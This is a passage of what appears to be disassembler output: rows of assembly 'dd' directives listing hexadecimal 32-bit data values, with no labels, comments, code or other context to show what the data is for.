dd 7841E4h, 0ED9F70D6h, 6D7522Eh, 0AC5D290Bh, 0EB84001Bh
dd 1356465Eh, 5F2DE18Eh, 91D70180h, 7017E5D8h, 14900178h
dd 3B01B07Dh, 59117A75h, 8E30795Eh, 0AC5B12EBh, 4AB449A2h
dd 0C5C1E204h, 340C4420h, 0C520DCA1h, 48603F42h, 501A31A8h
dd 5580B4B1h, 163F01FEh
dd 0A80C2E8Bh, 3A613020h, 887ED2DDh, 19F4BB1Ch, 909AF8C0h
dd 16AC10BDh, 1E83B68h, 0DE6D8974h, 0C0C6631h, 49E026FCh
dd 37021E2Dh, 8E9F0F18h, 0A27B0076h, 5F14FA38h, 6226F499h
dd 0CC351C05h, 0DC615407h, 7451202Fh, 0A8F4A97Dh, 263FC2C0h
dd 1643670h, 93860A8h, 0BE0CAC0h, 524D80D8h, 2317C0ACh
dd 3ADF14Bh, 7D878629h, 57E292B4h, 9C0280C2h, 80CCD112h
dd 80611621h, 53BB8D62h, 40000A3Fh, 0ADB34617h, 0BB356610h
dd 7B01BC08h, 7D2FE16Fh, 0FE362067h, 7782958h, 4A8F82B7h
dd 682D2BF0h, 89FD39EFh, 0B66D6060h, 5A02959Ch, 756FFCFh
dd 44106833h, 0B36200C8h, 2C10AAEFh, 347D248Fh, 28A5825h
dd 213F2550h, 0D8EB1536h, 0A94CE0F3h, 5087DECCh, 3360FCEFh
dd 2C2F12h, 0BADC5799h, 0CABD1B11h, 80FBF83Ah, 0AD28743Fh
dd 0F037892h, 0DE045238h, 99843716h, 7754301h, 6E5834AFh
dd 305AB600h, 0ADCC484Fh, 65A700F7h, 6DBD1206h, 0A60F7F07h
dd 20FDF157h, 2E64B011h, 32F500F3h, 0A3E659EBh, 36041F5Dh
dd 8537D227h, 0D339BC80h, 0FAED0796h, 0B0F69FA1h, 0FC48F34h
dd 5F3D9098h, 9C6581D2h, 8E38F17Ch, 611A888Bh, 0EE1FC021h
dd 8CE8806Eh, 78E96C1Bh, 0D0315054h, 567901F5h, 67BE8555h
dd 84308617h, 30785B3Dh, 0D428A44Eh, 900CCFFh, 370552B2h
dd 5A1D4Bh, 0F5442F68h, 2E8A6D54h, 0BFAD7B00h, 0F26355B3h
dd 407400EBh, 0E0CD07F0h, 0BB0308A0h, 0F7BAC395h, 5D3D806Fh
dd 0B3FE1C9Ch, 0E98A7EB2h, 0DC2C37h, 3317E03Eh, 2600994Bh
dd 7C7E6B9Eh, 3D01F7Ah, 61ABDBF7h, 5AB8BE3Bh, 452E9BEDh
dd 803A3C72h, 2F0E4374h, 3B37E281h, 0D4808630h, 0CCCE24E4h
dd 0A31DEBE3h, 0F804B4AAh, 0CC9025A0h, 0E10DA861h, 1483024h
dd 66FC264Dh, 0ECAB8A3Ah, 0CDB808EAh, 8D004096h, 0D1FC4170h
dd 37600D3h, 4E22EC73h, 0C5007F86h, 84B176Eh, 5E9068h
dd 0EF679218h, 1D6B7796h, 1CDDD3Eh, 0F0571B6Dh, 7AD85F48h
dd 0A2D500EFh, 7C7D662Ch, 4705BCC8h, 0D11CBA05h, 0C00A6383h
dd 4843FE85h, 245CCCF3h, 0DC275800h, 16DD7B10h, 9ECDC138h
dd 7B8D24h, 70C30BFCh, 77A96456h, 78B11C9Ch, 18BA80A3h
dd 0DFA0E61Bh, 0FA30CD00h, 0CA1F08ABh, 0BB6C00B4h, 89507C34h
dd 0C507275Bh, 6A28085h, 5F3D05C0h, 0F4282545h, 0B1337480h
dd 7600293Fh, 22EEE317h, 18039942h, 501EDF15h, 20B03402h
dd 0C4C248h, 6CE69077h, 0BA9AEBh, 0D620E5C7h, 70BC8DF9h
dd 43485F0Eh, 429200D5h, 0A0A897EBh, 5C10B2h, 4B1BB17Ah
dd 0E2297977h, 89AE8800h, 6685E402h, 450C00F7h, 975E314Eh
dd 0F800C72Bh, 6CBB764Ch, 0ECB7205Ch, 621E007Ah, 3CDAE023h
dd 54F4964Ah, 0B200A170h, 21E5D0FDh, 522D98h, 1FA92259h
dd 4D820770h, 6C56CD13h, 6B44B400h, 0B4A071h, 6051047Eh
dd 395A46E1h, 0C0BD9800h, 308A16B0h, 166B080h, 8582F4F9h
dd 0E065EB81h, 60009176h, 0EDC17BCBh, 2CACC4E4h, 8070C5B4h
dd 0A335ADEEh, 160047FAh, 0DB9FE4DAh, 7DEC40C1h, 511F1C7Bh
dd 88881890h, 0EA3B66DAh, 2BE0060h, 0E8EFF75Bh, 30EC006Bh
dd 0AD76F164h, 8902B817h, 7F513F12h, 268D4111h, 38808721h
dd 0CA6F11Dh, 0E500B946h, 0FF227FAh, 0E9815Ch, 8C623E3Ah
dd 0CFDAA76h, 8A067C00h, 49F513CBh, 6463004Dh, 0F2E57E11h
dd 0A4120B52h, 0DC003ABBh, 421AF48Ah, 12540755h, 70377FAh
dd 81E687B4h, 896B76E9h, 80EE4420h, 0AC2691E8h, 208F003Ch
dd 0A5D55C2h, 0B21252C9h, 0F4C26D12h, 0FFDC41C8h, 7F01C4h
dd 92CFBBDAh, 0F3E4F07Ch, 4C3D8D7Fh, 0CB840481h, 0F0E0D12Dh
dd 7A802E15h, 9EF90293h, 57E08FE3h, 2A00A9CCh, 7CAE9BBBh
dd 0AC951Fh, 0AAFB91D4h, 5909756Eh, 0BF207100h, 0D15C0634h
dd 0DBB40035h, 8BE3DFE8h, 300701Ch, 978D8F5h, 1E4765h
dd 0B7134E25h, 8FF645BCh, 30010F0h, 38D3A17Bh, 2E15B9h
dd 4695AFA6h, 9D52F0D1h, 0DDFAAC00h, 318B0AA4h, 0AEE7001Ch
dd 0E4BE3E2Ah, 0B6E8E38Fh, 3ADA8E06h, 30098AE8h, 8B407BB4h
dd 0B009D9Ah, 0A84A7378h, 2D4DD17h, 0DA5D7DECh, 40C09B06h
dd 2D00DC4Ch, 2FA81451h, 1D3B0241h, 40AA4366h, 195279D4h
dd 447EEA5Fh, 6EE9E20Eh, 595CA04Dh, 9789A0h, 80CBA5E6h
dd 5D1A26F1h, 13CABA00h, 0ABD2A3A4h, 82C33A87h, 0BFAF9h
dd 0CA3D40A0h, 0FC8D9977h, 83B1FA03h, 0C39DB7E7h, 891BC1EEh
dd 39952430h, 1A0091C0h, 437B0B36h, 0B7006D8Bh, 0A1423DC4h
dd 0EC8C90C5h, 17E31871h, 0D8EEE820h, 0B369F300h, 0AC65EF0Ah
dd 0E94613E0h, 0ECF88CCFh, 0B6150500h, 0FBC9A727h, 81FF024Eh
dd 656743Bh, 67029C70h, 1897E5F6h, 2C786Eh, 0A4B649D8h
dd 0EE050FACh, 8260CE00h, 1B506DE8h, 9FD000E0h, 0E64CF16Bh
dd 2A024017h, 0DA518B37h, 60B08F4Fh, 9AADA4A9h, 21C0009Eh
dd 0F11FE7FFh, 0A55E36DAh, 0CFBF0403h, 0E900A475h, 0DDF4148Eh
dd 64789006h, 0E1829CDh, 0E3C093C9h, 51868C81h, 0DF318043h
dd 0DF5BAD4h, 83781D94h, 0E872405h, 807FB4B7h, 68F9A313h
dd 790C36C6h, 38F01D9Bh, 0C5AC0060h, 0C00BDEBEh, 0DC15D61Eh
dd 0F840350h, 8CFF2F1Bh, 3B589Bh, 35FE435Eh, 18A2AEB3h
dd 24A09D28h, 1FF8A41Ah, 8D440739h, 9B7DAB70h, 8C14A0B5h
dd 77070014h, 0B048459Ah, 93306911h, 234D780Dh, 256406E5h
dd 0B89976B9h, 98002D79h, 6A2273A0h, 4BA17F8h, 64555F62h
dd 0C480A110h, 79036CD7h, 0A0AB3583h, 2F09259Bh, 0B0DC4400h
dd 87004B6Ch, 0D2AA2AAh, 0BA2675h, 0B7CEC994h, 292EEEBBh
dd 80B69939h, 358A110Bh, 341A9Dh, 17E93A68h, 0D680BA1Dh
dd 19BC3F00h, 2007CFA5h, 61BB0013h, 14F39805h, 0E633DEB4h
dd 381836h, 0A55E03F1h, 0A12A9A4Bh, 601D0C29h, 86600578h
dd 5C293801h, 0EE9A1751h, 94B061BCh, 3567C469h, 460EB6E8h
dd 4024F0D2h, 0C0041AE3h, 85840671h, 8016838Ah, 7C06B3E4h
dd 974AC120h, 3FA603F0h, 7863A107h, 7FC7101Ch, 9E808E1Fh
dd 0C0C246C4h, 9ACAA148h, 7395F7ECh, 0E82500BEh, 1B93A816h
dd 0FCE77B42h, 4C009237h, 1DF38734h, 13C76913h, 0F04A61F4h
dd 0C5023FFBh, 0D6FE3A9Dh, 0F35EC08Ah, 22F9003Bh, 3DEF7FAEh
dd 0EB09D004h, 80AC2E54h, 0C3727D36h, 0E42C0090h, 679AE6C6h
dd 0F2077F2Dh, 9C4CECC1h, 636C802Eh, 0B708C8h, 7A30CE62h
dd 648C7227h, 0C12D18C0h, 0EE7F675h, 9FE1CD5Ch, 41004C8Fh
dd 2FAD3A3h, 0F519C40Fh, 8C100E1Ah, 5E2144h, 25B1D3F8h
dd 0CC40A52Dh, 26AD8200h, 0C38BDA53h, 782000E1h, 0F2BE51E4h
dd 38C0A1F6h, 74F99F44h, 0D611C0CDh, 43362518h, 0F08CFB0Eh
dd 8689AE77h, 7A209E15h, 0DA253E8Dh, 91B7980h, 3F6178E6h
dd 0EF890338h, 8559A3C0h, 775100C9h, 7B9CE971h, 3F0DA574h
dd 283708A3h, 80DCE091h, 2F1D3A4h, 221043ACh, 0AD610D45h
dd 8838FFD3h, 0A66A848h, 0EFB1008h, 0B2E0D555h, 7033B50Ah
dd 0D2A87D07h, 69B0A7FCh, 0C0CA1BF6h, 7766F228h, 9D3E81DFh
dd 9EA9BE78h, 7BC053BAh, 2CA30FE1h, 77913h, 3F678AD9h
dd 0F0EA2494h, 9E4AE00h, 0F8B94830h, 0E07797h, 5CA4505Fh
dd 5A2FBAACh, 2BFF6514h, 7EA8BF04h, 0C4519807h, 32C0990Fh
dd 0C0A45964h, 0BF458520h, 81E9A747h, 0C134CB10h, 0E0D117F7h
dd 7464A770h, 217C61E1h
dd 30CEDF5Dh, 0BE1D0F9Fh, 0CB41ED2Ch, 362D3DE8h, 817000C3h
dd 0EC17FD57h, 590F115Fh, 0A602E19Bh, 37911480h, 0B75123CAh
dd 0F47E702Fh, 390C71D5h, 49342261h, 6D32000Ch, 0ACDD58F2h
dd 1560D66Eh, 5FFB0441h, 621DF852h, 8FB14948h, 60DF7887h
dd 704B3295h, 0ACF069CFh, 70B9580Ch, 91030074h, 0D19B1241h
dd 59060288h, 29F828FBh, 728B3AF1h, 0E756EA03h, 83C96704h
dd 0A9618055h, 8D2E4108h, 0A75700F5h, 3FC7DDF0h, 2A003BC9h
dd 60629F52h, 31CB01E9h, 83792C94h, 9CD9800Bh, 111D6175h
dd 182104FAh, 156935h, 853854FFh, 46FC032Eh, 0D5F7397Eh
dd 0DB50411Dh, 0C4333DC0h, 8AD49Bh, 863689C6h, 464DAFE6h
dd 21669000h, 9902193Fh, 0FA812928h, 0C5561F98h, 4092422Eh
dd 0C5BC6288h, 6839C79Bh, 0BB3E032Ch, 3FE47E8Dh, 9B0A579h
dd 2A38ACB1h, 83B48C0h, 1F54D4E5h, 8381E37Ah, 0D00A2CA5h
dd 516424A1h, 0F3490590h, 841D6900h, 0BA1F3AFAh, 29E4C5h
dd 0AE7E4431h, 96E69A6Ch, 8A56A51Eh, 50E5714Ah, 5AB89980h
dd 0F27639h, 73C6C5E4h, 83BC6034h, 69990861h, 12E02EB9h
dd 4A754Ch, 796B75D5h, 0A37190ADh, 14953215h, 380300ACh
dd 26167E8Bh, 8A39017Ah, 8D2CFC72h, 2249C504h, 7E7C7314h
dd 0EAD38B00h, 53EFE3CBh, 4D0200B6h, 0BC32A58Ch, 92288AACh
dd 2A00A86Ah, 6286BA93h, 78E921h, 33A5990Eh, 0E5AE513Bh
dd 0FAAC6C01h, 815CC804h, 54FD49E8h, 0C1E81Fh, 69EEA040h
dd 0AEFEF94Bh, 177F7900h, 0F454A75Eh, 0C9B20123h, 0BDE194AFh
dd 0E0EBD0D6h, 0EB6F218h, 194B40h, 0F95AA4C5h, 0FCC17892h
dd 738A4100h, 1E2309Ah, 0E49ACh, 495B4300h, 6FF0F96Ch
dd 0CC0C9701h, 0B99BDE48h, 53E1C7C4h, 50E9C55h, 0E3C09492h
dd 0F6247DACh, 0C923DA03h, 15AD8CD1h, 98AF4820h, 0F233D500h
dd 0D0C3119Fh, 0D4B32500h, 2260175Bh, 0A0D4A80Fh, 0D6DC0BF8h
dd 0EA00BA45h, 9055DAE2h, 9DE8AD48h, 62684440h, 9096B802h
dd 0FC802044h, 0BB458413h, 0CFB85060h, 541D104Bh, 81AEC8EAh
dd 0CCC13359h, 0D9EE0ADh, 548E5F24h, 442D8AC2h, 0DBD30E6Ch
dd 0F4809B98h, 0F8EAAAB1h, 0E672C200h, 0BD938232h, 0A551065Dh
dd 61A0499Dh, 0E2816902h, 4423BAA4h, 0DDAC2C44h, 0CDF180F0h
dd 99D4D8A7h, 4B762E00h, 1E195586h, 95400CDAh, 27499D48h
dd 0E1F4E700h, 0E0F6328Ah, 58240170h, 0BF95A703h, 33BAF0DFh
dd 80606848h, 0E0372888h, 1332FC7Ah, 1D34B1h, 73E5836h
dd 242462F6h, 236E640Ch, 982F1531h, 7B5F79ECh, 37EA0790h
dd 0D02C7DE6h, 2071C1B2h, 8678174Ch, 0D10D2Dh, 0EDC8D32Fh
dd 127E8935h, 62F30402h, 84F805BAh, 1D61BEC8h, 0BC17F0C1h
dd 62FA448Ch, 0E5CEEC00h, 741813FBh, 33BB0037h, 6914F8E0h
dd 19F64789h, 4CC49E3Eh, 8D604050h, 88B4F400h, 4375110Fh
dd 37A7395Ah, 8055CA1Eh, 0F887040Ch, 580A8FE1h, 0F0BFBC50h
dd 0C9C4051Ch, 6480CDEBh, 58FB0C9Dh, 1D874C83h, 741520ADh
dd 0C124FA0Bh, 990BDC85h, 228C0201h, 8A60687Ch, 55DC13F0h
dd 0AEC70074h, 67169C72h, 0B366A612h, 15505C04h, 58904809h
dd 160027E6h, 902DDF9Ah, 4EC8AD1h, 22BE48B7h, 11674009h
dd 3B552AA0h, 1C09DABBh, 0BC82EEEAh, 60C2C7FDh, 2A04D846h
dd 8A63338Ch, 7931A643h, 11ACA118h, 39BE2029h, 0A08035D3h
dd 0ED7A2FE8h, 0C97F9B51h, 0FCCDA600h, 558E5C73h, 0CC30E958h
dd 0E89F89AEh, 0E4265ECCh, 0BF03FFDBh, 12908h, 22AFED59h
dd 0A3A77FABh, 5EBECA0Bh, 0C5B42040h, 3C8FC46h, 0A6010AD5h
dd 3900E4C9h, 42ABDBFh, 262DFB32h, 886515h, 0AC7F8F07h
dd 39066654h, 967BD223h, 22BF3A58h, 3864ED10h, 2DFA9395h
dd 0BE07A420h, 417E005Ch, 0EC983806h, 24A02F82h, 3101AA55h
dd 0A7A372FEh, 99F26AE6h, 4D03618h, 0E5E33912h, 80A4A7A4h
dd 80A59ED7h, 0D5E29313h, 0E623Bh, 0DC942961h, 9B6D407h
dd 4CD05789h, 7180408Fh, 4A47EF09h, 31872500h, 23E71058h
dd 0C51324DAh, 0A9B93034h, 9800FEFh, 7AD01440h, 45229CCBh
dd 6123B0A0h, 5A11A165h, 26102CC6h, 1FA83FCCh, 2D340457h
dd 0C5189001h, 601E1EDh, 4EC6BD8Ch, 899D5E4h, 0E4404171h
dd 352E12E1h, 3432066h, 41C62Dh, 0F2B8D1F8h, 0F9F667AFh
dd 0A8A538h, 0C2424181h, 91493ECDh, 1CAB0060h, 0DF838CF1h
dd 0A804BD02h, 0C0E19A80h, 0A3EAB6FCh, 2FC5F0A4h, 5A435CB1h
dd 7A9D2407h, 1DE14FE1h, 228D2870h, 0A8170060h, 2D6AB78Ah
dd 32AD2E42h, 4E098020h, 9D0C9FFAh, 17C4F000h, 0B413EE25h
dd 5BD9008Fh, 0C1453CD2h, 9A07AFECh, 0A4576FB6h, 636D1842h
dd 1E20BBE1h, 2566808h, 0EC9315B3h, 424C8846h, 96DF00C0h
dd 6AB4EFC8h, 84E243h, 0BC9726EBh, 0A7AE7FA5h, 4500F2B0h
dd 18DD7A2Bh, 1857A9D8h, 0A9E6AF02h, 821F7C03h, 74400B50h
dd 0C40C8132h, 0B856E6E2h, 6A8403E5h, 8B0D825Bh, 7C47BA98h
dd 68F4780Fh, 0D8E79F8Ah, 0F9D4F551h, 628C0091h, 0BE410F92h
dd 0A260FDAFh, 0D108B330h, 0B9273EF2h, 0BD0F723Ch, 50987D10h
dd 0B2306495h, 0EF2D2849h, 0CB18C773h, 4B8A7041h, 4C00CDC5h
dd 8CD70B6Ch, 6F453E4h, 1AA8FDA2h, 8F1861B9h, 0E9517785h
dd 16200012h, 0D60518B2h, 0A1FE9153h, 73C4AF00h, 2DB9471Bh
dd 0BA38C03Dh, 0F531AB79h, 0F81D4E00h, 0EFE83833h, 0B6920122h
dd 51B27F0Dh, 0DD3D7080h, 8184113Bh, 33AAE1E9h, 0FCFC2A47h
dd 1640ECDh, 7B608E4Ah, 7DB8A039h, 0F243E700h, 0F19E6D2Ch
dd 0FD203A44h, 84036B3Fh, 0BAF68AB3h, 0AC74B129h, 0CA78038h
dd 0C6FD0FA2h, 0BE3800D1h, 4F6EC3DDh, 0B70F0A01h, 6267EA42h
dd 872A4E0Eh, 55076F8h, 1C52E71h, 0FD797519h, 0D80734ABh
dd 23074233h, 0D5943B40h, 5E280CEh, 37399CBh, 4CBB438Eh
dd 1800340Ah, 44ABE874h, 0E1280E3h, 0FFE00442h, 0AAEFC69Fh
dd 110F1059h, 0E0242E10h, 2A097797h, 0CF08C696h, 7101205Bh
dd 622430B3h, 31E01935h, 2505068Eh, 10EFADE3h, 0FE36F800h
dd 0A3AA2EE7h, 0D9C231D0h, 80EECE08h, 0FE350720h, 1E068755h
dd 8FF57810h, 6FC0B549h, 0B9442166h, 6AC933Bh, 0AAE9E79Eh
dd 0AEE10059h, 99F3A01Dh, 0C901D37Dh, 9EAB1B49h, 6530E492h
dd 0C4111804h, 2B0F69B8h, 0C118ED60h, 0FA93D568h, 0CC7400ABh
dd 6B82958Ah, 730F6D26h, 0A0E4940Dh, 2DF96E85h, 4C05E64Bh
dd 6068E21Bh, 0DE5D0A8Ch, 9F498080h, 0FA1F4E9Ch, 76E1F525h
dd 81381BEEh, 0C5ECE780h, 0F7F87C13h, 0F6106607h, 321B246h
dd 0EBEC645Bh, 1EA0CFF4h, 9E18A053h, 0E36901C8h, 0C1D666D5h
dd 1309148Ah, 80B563D2h, 92251209h, 4BF50062h, 17C3101Dh
dd 4F632DACh, 0E82934E9h, 6C0E2AA6h, 0E3487062h, 490055ECh
dd 4E6EE95Eh, 5FDCF6h, 0DD7B8364h, 291A959h, 1C1A9C13h
dd 0D9421C04h, 3D830898h, 0FF901D30h, 9FCEC879h, 402F9C10h
dd 50D7B690h, 30089C5h, 0C9E7E635h, 39DB7C12h, 0AD9707A2h
dd 2E030325h, 687BA7C8h, 4867E843h, 228FB523h, 0EA20D834h
dd 2CBD2F1Ch, 0EE5E32h, 0E6F03697h, 0A201242Ch, 72652A2Bh
dd 4420DACBh, 0D0C20391h, 0F50834AAh, 5EE5401Dh, 83E82EC0h
dd 0C09F91D6h, 0A2737D78h, 0AB2CEFF0h, 22143010h, 9AB300B4h
dd 3BBE2DE5h, 9C5148C6h, 0A855939h, 39BC1F1Bh, 5CB5CC20h
dd 42CE486h, 0AC4EF290h
dd 5898902Fh, 690072E3h, 8A3C67C7h, 0E5D9D3h, 80791A86h
dd 6DB77B6Ch, 4C085B24h, 0C1CD9E80h, 2BC2D28h, 0E2ADD9E6h
dd 8CA0D07Ch, 0B7E9714Bh, 6737C61Eh, 51802464h, 0F66D1D5Ah
dd 0F18301B0h, 0C72C31A0h, 328080E7h, 61C87934h, 0D35B0062h
dd 8FABEED5h, 0E493F605h, 66FE8B01h, 3C0EE22Eh, 50FE0E6Ah
dd 8B30C09Bh, 0C4A8790h, 86E34801h, 0C430E089h, 218A51AFh
dd 5F7EE08h, 73C2E536h, 16885418h, 900B6114h, 90256480h
dd 4306BD1Ch, 4884ACFFh, 7425EF08h, 0F90B530h, 6313A508h
dd 58301B69h, 2F393081h, 0E0244842h, 2E131Eh, 5C2839A3h
dd 0D1925198h, 9028687Fh, 0D904B870h, 2BB158B3h, 99342520h
dd 0B77CF303h, 4120F85h, 47C35CA9h, 5E2C81B1h, 541B604Dh
dd 0D7538C05h, 0BC2323C9h, 0A0B94C75h, 4BD27602h, 14417162h
dd 7E74F840h, 0AC447498h, 0FECD0A91h, 85B47B3Fh, 40075D58h
dd 1AE4DFA8h, 51783ED3h, 2224EE01h, 0C69BB930h, 925896h
dd 0A8E212F9h, 4C995DB7h, 2CEF1883h, 18F6827Ch, 58C0A8E4h
dd 96EC617Ah, 50AE0029h, 37BF0F6Eh, 3C93C54Ah, 891A670Ch
dd 0D37A06h, 0D03A56B3h, 8A85B237h, 20F10524h, 1BFE1AC0h
dd 5A18FB21h, 1EB0440h, 484DFF08h, 2A92550Eh, 0A2C56EC2h
dd 0A091C4D4h, 762E1B80h, 2DCE00F4h, 126AAB32h, 0E6143A01h
dd 0A04CCAh, 7548F57h, 0F4A9981h, 0D53F2EF4h, 8A001408h
dd 0C528B7C8h, 0C02232DAh, 8CA0E3C8h, 0A785DEBEh, 25EE3C00h
dd 0F6A840F0h, 0F92C0074h, 0C6641DC5h, 9F2437D4h, 0FF933055h
dd 26235C2Fh, 2E46CA00h, 2E9F902h, 6FCCD874h, 0C485F0Ch
dd 0E4008211h, 0EE254CC5h, 78C68EFh, 9C12D06Ch, 0E2C9D0D2h
dd 2C07AC2Eh, 33A2CAB2h, 0A044B682h, 4DD78AA4h, 9A71DE1h
dd 2A140135h, 8F71109Eh, 0CF59BD92h, 6DC220F8h, 0D3B61Bh
dd 0AB548447h, 0B4E7B8D7h, 5E0EC704h, 74C060DAh, 0FCFE55CAh
dd 357E845h, 0DF99EC9Bh, 15F86AD9h, 0FF307D28h, 68E04081h
dd 6C5600BEh, 99DCC81Bh, 0D1B0F361h, 7A00867Ah, 0CC2F539Ah
dd 480EE7E8h, 1CC7F00Ah, 5BBD7290h, 0EB105E31h, 0B000904Bh
dd 1C30B6A7h, 7F8EDFh, 15806268h, 9EAE6E89h, 0AC713F16h
dd 0EF352404h, 0F12F1F30h, 77435FF6h, 0EC60D922h, 0C4050F54h
dd 0D7F53B65h, 205971BBh, 55225AECh, 976310FBh, 2008FD5Ch
dd 863E7880h, 6E3089A0h, 482AA226h, 3E5CC93Fh, 80EBA8E6h
dd 0B889D724h, 3409B880h, 5C2F2667h, 73220C08h, 0C6B4E603h
dd 0E9CA7Ah, 0A580E0E0h, 7C061205h, 17C7343Ch, 0A800C323h
dd 1F2F85E8h, 1705F431h, 7F9ABE0h, 0F358FF6Ah, 18A6366Fh
dd 12DAC60Ch, 4D5C5028h, 187B0C0Fh, 0F05F2650h, 9701CC1Bh
dd 0B29C68BCh, 30240E20h, 8690D10h, 87E85D47h, 0C002636Eh
dd 73D10417h, 88402722h, 32CE789h, 0B235AD09h, 410AF240h
dd 84EC2EA4h, 0C104E094h, 0E87E82Ah, 6ABEAC8h, 2B6680BCh
dd 1928D876h, 1D1FB8F0h, 2AC3FFACh, 0A1A4D7B0h, 68248F38h
dd 314067D0h, 6DCF42B6h, 9CB37DE0h, 2E113F01h, 0F32D31B0h
dd 2A5B43ECh, 18288712h, 19F1AAC2h, 2C2A36E0h, 0BD0CC03Dh
dd 0A9426205h, 29A3E820h, 36059ACh, 4C887477h, 862CA802h
dd 0BDE573h, 0A460F910h, 0F9058D0h, 800B6F66h, 19999FAEh
dd 0CB13F677h, 0C82FA79h, 7CAF856Fh, 6484BDAAh, 0B81CC86Ch
dd 39D0BC0Ch, 29421823h, 1E84CD2Ah, 46AC4C80h, 0D8050340h
dd 0C627737Ch, 0B7A14804h, 2A33E83Ch, 0F85649C1h, 0D6E1715Bh
dd 7E640038h, 9BAC5807h, 0EEBA1D06h, 1812959h, 3877BCE8h
dd 0BDDA0820h, 96C70030h, 0FBE92D0Bh, 50EE50D9h, 25D13016h
dd 872FC739h, 74ECB71Eh, 0CC4DD6CAh, 9950C981h, 109D42AFh
dd 0C82880BFh, 1582D539h, 61BC8C52h, 9880E322h, 3B7A5F8h
dd 645D19EAh, 56C038C1h, 63309CD0h, 9A1711A2h, 0AB151F27h
dd 87100DEh, 9468AFD5h, 113069D4h, 7E00DAC4h, 4577F69Bh
dd 3F553BB9h, 0F0FC00A0h, 6330296Bh, 0C47589E2h, 0C149185Bh
dd 245D1036h, 6C02589Ah, 0F4BA440Ch, 0E2BC40FBh, 0A075FE62h
dd 0EB09684h, 386EADDEh, 0B830929Ch, 9B840145h, 4F92295Fh
dd 40357195h, 0C148ADF0h, 5F8C611h, 3B0247C8h, 0A208E725h
dd 412C719Ch, 2761C410h, 83E3C851h, 517F7C62h, 50205465h
dd 0BC985001h, 0A5848A36h, 2D908165h, 0B840806Eh, 0AD244B53h
dd 73620C22h, 2CB0ABB9h, 0C166309h, 810A9F5h, 76040CA9h
dd 7844C023h, 6D8E20E1h, 232B80F2h, 4E47125h, 38602F70h
dd 21231DFEh, 444081Ah, 0FE1F0501h, 1DD43EC1h, 4901240Fh
dd 0EAA480E8h, 53EBA0E8h, 0CFAC8500h, 11FA9B5Fh, 84C500F3h
dd 1D168CEDh, 3B2668BDh, 916ACCCh, 2423542Fh, 93518900h
dd 1DE847C5h, 81BB6EDAh, 8FD51CADh, 4AC040AAh, 0F1289974h
dd 0DB099017h, 82768250h, 72095594h, 12A46D0h, 2112FE37h
dd 0E80CAC02h, 1E06F9C0h, 0EEB27CFEh, 0F25F0050h, 0C6752386h
dd 130560B7h, 0FF3CB174h, 241A3804h, 0F31D918h, 0EC944455h
dd 6700CF33h, 0DDFADB9h, 0EC4215C2h, 7AF30074h, 7CFDE0B3h
dd 14593E7Bh, 71072224h, 2DEF00F0h, 0AFACFED2h, 3B0A180Ah
dd 0F8DB8193h, 89A8E204h, 0F20270A3h, 107C8AECh, 1B20001Ch
dd 0BAB874EFh, 8C0136B9h, 80511342h, 2C65A2A3h, 40B31040h
dd 1061614Eh, 0F8532E2Ah, 41007EDEh, 0AA723865h, 0A9415A4h
dd 0CBBAA859h, 0F04F00EBh, 0C53F90B4h, 9F4B6900h, 6DAF0DB6h
dd 0E04E00F7h, 523496C3h, 40002239h, 13A258D1h, 0ABC180h
dd 69D2BA98h, 0FAFD9DB8h, 492CC2Bh, 23B99570h, 0F1639D33h
dd 3989E0BFh, 8E0F8BEh, 0C722B8B6h, 70F1CBFh, 14FAFF08h
dd 67311C17h, 8FBF09A0h, 15627038h, 0DAF87020h, 706CA63Eh
dd 7B75210Ch, 0D93CD163h, 44EE5009h, 54C2318h, 78CC6974h
dd 50B319BFh, 0D87F1C92h, 85871071h, 0B45059F9h, 60211809h
dd 844EB97h, 5BF0460h, 80F0CA96h, 0C90B1944h, 2809A309h
dd 0FB391701h, 89595E1h, 0A0700C09h, 6366E414h, 0F0159114h
dd 409B18E2h, 80502CC5h, 0D1A13700h, 5CDE2970h, 2B4C2438h
dd 1702011h, 0B0BF464Ah, 0E173B774h, 2109B44Bh, 0D8FC043Ah
dd 1085C331h, 0B022E6E4h, 763F5E04h, 6928C0CBh, 0EB032118h
dd 176AEC48h, 0C74103B8h, 2F77E03h, 247166D9h, 1519D260h
dd 86380EFBh, 7C90698Dh, 6012F059h, 0D7C849C0h, 0FEA0C93h
dd 0F9859B37h, 5DDD9222h, 5AE29500h, 2C0B3728h, 0BC080011h
dd 872C0AE6h, 0FA18E632h, 3093E369h, 0AC480D74h, 1C00A555h
dd 1D73F9D3h, 0C0B83CF2h, 0D7BF1508h, 0A40C88A2h, 0A0C6F3B0h
dd 3CFE307Ah, 583D41A9h, 43087B63h, 4E80BFEFh, 0D9E49168h
dd 0A44648C1h, 0DB0B3451h, 0A40D872Bh, 8BEDCEB0h, 0D8FF0E7Ah
dd 28607122h, 9B0CF0BEh, 7EFD8000h, 8DBBD769h, 0E7E89851h
dd 0CCB9D981h, 0C6E4DA33h, 0F0EB8C81h, 0E800DFD8h, 0B49AD914h
dd 3099AC92h, 53899B1Fh, 5B78E2D5h, 0F60C7A00h, 38464EFFh
dd 187B7167h, 28972C1Fh, 9814F779h, 286065F4h, 800088CAh
dd 0B0BA0314h, 0E7394Fh, 0B4274D0Bh, 0F4969435h, 0E131856Ch
dd 4608C19Ah, 0E2F8BABEh, 0DECAD040h, 579D6700h, 19C32A3h
dd 66693EC4h, 0C6214830h, 7A0698B8h, 4FB9CE39h, 40831DA0h
dd 4A3D4A68h, 41D309ACh, 811CF805h, 0F0DCED3Ah, 98A08F40h
dd 667A6E6Bh, 2B38B348h
dd 10B0A87Ah, 78DF6996h, 30E309EAh, 6023CB40h, 0C1017D90h
dd 0FCF0A780h, 0B84A59AFh, 0C8EE8C10h, 24DD84FDh, 463200C7h
dd 0E0691E18h, 79770045h, 51A214E9h, 0E001F396h, 7E0CC0EBh
dd 7980AFFEh, 28732BE2h, 0B00085B4h, 4ADA5196h, 39EED3Bh
dd 68B8FA66h, 0B48043FBh, 0E030E27Fh, 182DC87Dh, 6E95004Dh
dd 493D5371h, 0CFB09701h, 7BFEA080h, 8070B9C0h, 0CABEF3C9h
dd 16B8C010h, 15AC4207h, 948334C7h, 910EDD39h, 824B8BB3h
dd 4A48616Eh, 6DD802F8h, 0A1874367h, 8C4A44E1h, 55EA4070h
dd 0E641F57Dh, 0C71A0C23h, 1C823162h, 18404AB0h, 30931458h
dd 4B59C986h, 852CA028h, 7D603C73h, 81404C50h, 4363C166h
dd 0F1103D60h, 6E00B32Ch, 0E2903B4Bh, 240070A3h, 43158F62h
dd 69761D87h, 8C984094h, 53066DCDh, 9E908C29h, 4D1D3119h
